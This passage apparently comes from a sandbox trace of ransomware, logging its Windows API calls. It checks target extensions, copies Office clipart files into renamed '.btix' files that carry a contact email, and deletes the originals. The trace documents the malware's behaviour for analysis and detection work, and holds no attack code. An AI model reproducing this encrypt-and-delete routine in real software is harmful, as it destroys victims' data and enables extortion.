CloseHandle (hObject=0x388) returned 1 [0147.619] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.619] SetEndOfFile (hFile=0x384) returned 1 [0147.620] CloseHandle (hObject=0x384) returned 1 [0147.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.623] lstrlenW (lpString=".doc") returned 4 [0147.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".docx") returned 5 [0147.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.623] lstrlenW (lpString=".pdf") returned 4 [0147.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".xls") returned 4 [0147.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.623] lstrlenW (lpString=".xlsx") returned 5 [0147.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.623] lstrlenW (lpString=".ppt") returned 4 [0147.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.623] lstrlenW (lpString=".zip") returned 4 [0147.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.623] lstrlenW (lpString=".rar") returned 4 [0147.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".bz2") returned 4 [0147.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString=".7z") returned 3 [0147.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.623] lstrlenW (lpString=".dbf") returned 4 [0147.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.623] lstrlenW (lpString=".1cd") returned 4 [0147.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.623] lstrlenW (lpString=".jpg") returned 4 [0147.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.624] lstrlenW (lpString=".doc") returned 4 [0147.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString=".docx") returned 5 [0147.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.624] lstrlenW (lpString=".pdf") returned 4 [0147.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString=".xls") returned 4 [0147.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.624] lstrlenW (lpString=".xlsx") returned 5 [0147.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.624] lstrlenW (lpString=".ppt") returned 4 [0147.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.624] lstrlenW (lpString=".zip") returned 4 [0147.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.624] lstrlenW (lpString=".rar") returned 4 [0147.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString=".bz2") returned 4 [0147.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString=".7z") returned 3 [0147.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.624] lstrlenW (lpString=".dbf") returned 4 [0147.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.624] lstrlenW (lpString=".1cd") returned 4 [0147.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0147.624] lstrlenW (lpString=".jpg") returned 4 [0147.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.625] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.625] lstrlenW (lpString="HH00241_.WMF") returned 12 [0147.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.625] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1960) returned 1 [0147.625] CloseHandle (hObject=0x384) returned 1 [0147.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0147.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.625] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.625] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.625] GetLastError () returned 0x0 [0147.626] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0147.626] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0147.627] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.627] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.627] SetEndOfFile (hFile=0x388) returned 1 [0147.627] CloseHandle (hObject=0x388) returned 1 [0147.627] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.627] SetEndOfFile (hFile=0x384) returned 1 [0147.628] CloseHandle (hObject=0x384) returned 1 [0147.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.629] lstrlenW (lpString=".doc") returned 4 [0147.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".docx") returned 5 [0147.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.629] lstrlenW (lpString=".pdf") returned 4 [0147.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".xls") returned 4 [0147.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.629] lstrlenW (lpString=".xlsx") returned 5 [0147.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.629] lstrlenW (lpString=".ppt") returned 4 [0147.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.629] lstrlenW (lpString=".zip") returned 4 [0147.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.629] lstrlenW (lpString=".rar") returned 4 [0147.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".bz2") returned 4 [0147.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".7z") returned 3 [0147.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.629] lstrlenW (lpString=".dbf") returned 4 [0147.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.629] lstrlenW (lpString=".1cd") returned 4 [0147.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.629] lstrlenW (lpString=".jpg") returned 4 [0147.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.630] lstrlenW (lpString=".doc") returned 4 [0147.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString=".docx") returned 5 [0147.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.630] lstrlenW (lpString=".pdf") returned 4 [0147.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString=".xls") returned 4 [0147.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.630] lstrlenW (lpString=".xlsx") returned 5 [0147.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.630] lstrlenW (lpString=".ppt") returned 4 [0147.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.630] lstrlenW (lpString=".zip") returned 4 [0147.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.630] lstrlenW (lpString=".rar") returned 4 [0147.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString=".bz2") returned 4 [0147.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString=".7z") returned 3 [0147.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.630] lstrlenW (lpString=".dbf") returned 4 [0147.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.631] lstrlenW (lpString=".1cd") returned 4 [0147.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0147.631] lstrlenW (lpString=".jpg") returned 4 [0147.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.631] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.631] lstrlenW (lpString="HH00260_.WMF") returned 12 [0147.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.631] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3662) returned 1 [0147.631] CloseHandle (hObject=0x384) returned 1 [0147.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0147.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.631] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.631] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.632] GetLastError () returned 0x0 [0147.632] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0147.633] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xe50, lpOverlapped=0x0) returned 1 [0147.633] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.633] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.634] SetEndOfFile (hFile=0x388) returned 1 [0147.634] CloseHandle (hObject=0x388) returned 1 [0147.634] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.634] SetEndOfFile (hFile=0x384) returned 1 [0147.634] CloseHandle (hObject=0x384) returned 1 [0147.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0147.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.635] lstrlenW (lpString=".doc") returned 4 [0147.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.635] lstrlenW (lpString=".docx") returned 5 [0147.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.635] lstrlenW (lpString=".pdf") returned 4 [0147.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.635] lstrlenW (lpString=".xls") returned 4 [0147.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.635] lstrlenW (lpString=".xlsx") returned 5 [0147.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.635] lstrlenW (lpString=".ppt") returned 4 [0147.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.635] lstrlenW (lpString=".zip") returned 4 [0147.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.635] lstrlenW (lpString=".rar") returned 4 [0147.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.635] lstrlenW (lpString=".bz2") returned 4 [0147.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".7z") returned 3 [0147.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.636] lstrlenW (lpString=".dbf") returned 4 [0147.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.636] lstrlenW (lpString=".1cd") returned 4 [0147.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.636] lstrlenW (lpString=".jpg") returned 4 [0147.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.636] lstrlenW (lpString=".doc") returned 4 [0147.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".docx") returned 5 [0147.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.636] lstrlenW (lpString=".pdf") returned 4 [0147.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".xls") returned 4 [0147.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.636] lstrlenW (lpString=".xlsx") returned 5 [0147.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.636] lstrlenW (lpString=".ppt") returned 4 [0147.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.636] lstrlenW (lpString=".zip") returned 4 [0147.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.636] lstrlenW (lpString=".rar") returned 4 [0147.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".bz2") returned 4 [0147.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.636] lstrlenW (lpString=".7z") returned 3 [0147.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.637] lstrlenW (lpString=".dbf") returned 4 [0147.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.637] lstrlenW (lpString=".1cd") returned 4 [0147.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0147.637] lstrlenW (lpString=".jpg") returned 4 [0147.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.637] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.637] lstrlenW (lpString="HH00276_.WMF") returned 12 [0147.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.637] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3016) returned 1 [0147.637] CloseHandle (hObject=0x384) returned 1 [0147.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0147.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.637] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.638] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.638] GetLastError () returned 0x0 [0147.638] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0147.898] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0147.899] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.899] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.899] SetEndOfFile (hFile=0x388) returned 1 [0147.899] CloseHandle (hObject=0x388) returned 1 [0147.899] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.899] SetEndOfFile (hFile=0x384) returned 1 [0147.900] CloseHandle (hObject=0x384) returned 1 [0147.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 